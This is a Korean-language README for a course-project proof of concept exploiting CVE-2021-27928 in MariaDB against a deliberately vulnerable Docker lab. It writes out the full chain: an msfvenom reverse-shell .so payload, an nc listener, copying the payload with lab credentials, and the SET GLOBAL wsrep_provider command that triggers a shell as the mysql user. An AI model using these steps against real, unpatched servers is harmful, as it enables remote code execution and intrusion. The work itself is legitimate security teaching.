
CVE-2021-27928 취약점 악용을 위한 개념 증명(PoC)
이 저장소에서는 docker 컨테이너를 통한 CVE-2021-27928 취약점 악용에 대한 개념 증명(PoC)을 찾을 수 있습니다.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
시스템 변수 wsrep_provider와 wsrep_notify_cmd system은 super 권한을 가진 데이터베이스 사용자가 런타임 중에 수정할 수 있으며, 이로 인해 해당 권한으로 실행될 원격 코드의 eval이 발생할 수 있습니다.
첫 번째 변수는 서버가 dlopen()을 시도할 .so 라이브러리의 경로를 받고, 두 번째 변수는 서버가 실행할 셸 스크립트의 경로를 받습니다. 이 변수들을 쓸 수 있게 되면 super 권한을 가진 데이터베이스 사용자가 시스템 mysql 사용자로 임의 코드를 실행할 수 있습니다.
이 개념 증명에서는 msfvenom을 사용하여 페이로드(이 경우 리버스 셸)를 포함할 .so 라이브러리를 생성합니다. 그런 다음 이 파일을 취약한 머신에 복사하고 wsrep_provider 변수에 이 경로를 지정하면 페이로드가 실행되어 리버스 셸을 통해 super 권한을 가진 사용자(여기서는 mysql 사용자)로 대상 머신에 접근할 수 있게 됩니다.
이 실험을 위해 시스템에 docker, msfvenom, openssh-client, mariadb 패키지가 설치되어 있어야 합니다.
이 구성에서 대상 머신은 MariaDB 10.4.12 이미지(이 취약점에 영향을 받는 버전)를 기반으로 하며, root 로그인이 허용되지 않는 openssh 서버가 실행되고 있습니다. 따라서 비-root 사용자인 myuser를 생성했으며, 비밀번호는 mypassword입니다.
취약한 이미지 빌드:
docker build --rm=true -t mariadb-cve-2021-27928 .
대상 머신 실행:
docker compose up
페이로드는 악용이 완료된 후 대상 머신이 실행하기를 원하는 바이너리입니다. 여기서는 msfvenom을 사용하여 우리의 IP 주소(LHOST)와 포트(LPORT)를 매개변수로 하여 .so 라이브러리 형태의 리버스 셸 페이로드를 생성합니다. 다른 셸에서 다음을 실행합니다:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
LHOSTIP 주소는docker-compose.yaml에 네트워크 게이트웨이로 정의된 주소입니다. 이 경우 공격자인 사용자, 즉 여러분입니다.
백그라운드에서, 세 번째 터미널에서 대상 머신이 연결해야 하는 포트로 들어오는 연결을 수신합니다.
nc -lnvp 4444
우리가 수신 대기 중인 포트
4444는 페이로드 생성 시LPORT로 설정한 포트입니다.
이제 앞서 생성한 페이로드(payload-CVE-2021-27928.so)를 비-root 시스템 사용자 myuser로 scp 명령을 사용하여 ssh를 통해 대상 머신으로 복사해야 합니다. myuser의 비밀번호는 mypassword입니다:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
ssh를 통해 /usr/lib로 파일을 직접 복사할 수 없으므로 머신에 연결하여 수동으로 올바른 위치로 이동해야 합니다(myuser의 비밀번호가 mypassword임을 기억하세요):
ssh [email protected]
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
페이로드를
/tmp/exploit.so와 같은 다른 이름의 다른 디렉터리에 업로드하고 그 경로를 페이로드 경로로 전달할 수도 있었습니다. 그러나 이 취약점은 이후 모든 mariadb 패키지에서 수정되었기 때문에, 이 데모의 마지막 부분에서 볼 수 있듯이 악용에는 몇 가지 조정이 필요했습니다.
마지막 단계는 우리처럼 유능한 데이터베이스 관리자이자 친근한 비-root 시스템 사용자로 요청을 보내 전역 변수 wsrep_provider에 우리 페이로드의 경로를 설정하여 MariaDB 취약점을 악용하는 것입니다.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
여기서
root는 데이터베이스 수준의 "관리자"를 의미하며, "시스템 root" 사용자가 아닙니다. 따라서 비밀번호는docker-compose.yaml파일에 있는MYSQL_ROOT_PASSWORD: myrootpwd입니다.
마지막으로, 모든 것이 예상대로 작동했다면, 들어오는 연결을 수신 대기 중이던 터미널에서 대상 머신이 성공적으로 우리에게 다시 연결되었고 셸 명령을 실행할 수 있음을 확인할 수 있습니다. 즐기세요 :)
리버스 셸은 "클래식" 셸만큼 화려하지 않습니다. 자동 완성, 셸 프롬프트, 히스토리가 없으므로 명령이 제대로 실행되는지 직접 확인해야 합니다. 예를 들어
ls -la를 사용하는 것을 주저하지 마세요.
netcat의 셸에서
whoami를 실행하여 시스템 사용자mysql인지 확인할 수 있습니다!
MariaDB의 Jira에 따르면, 이러한 변수를 런타임 중에 수정해야 할 실질적인 사용 사례는 거의(또는 전혀) 없는 것으로 보이며, 테스트에서만 사용됩니다. 이 취약점이 발견된 후, 수정은 변수를 읽기 전용으로 만드는 것이었습니다. 이는 간단하고 안전한 수정이었지만, 테스트 스크립트가 약간 더 복잡해지는 대가가 있었습니다.
이전에는 그렇지 않았지만, 이제 wsrep_provider가 가질 수 있는 유일한 경로 값은 /usr/lib/galera/libgalera_smm.so입니다. 그래서 이 개념 증명은 페이로드를 업로드할 수 있도록 /usr/lib/galera 폴더에 쓰기 권한을 부여하는 등의 조정이 필요했습니다. 따라서 이 구성은 이 데모의 맥락에서 의도적으로 취약하게 만들어졌지만, 대부분의 현재 시스템에서는 더 이상 이런 방식으로 사용할 수 없습니다.
이 작업은 Grenoble INP - Ensimag, UGA의 정보 시스템 공학 전공 마지막 학년에 제공되는 정보 시스템 보안 과정의 일부로 수행되었습니다.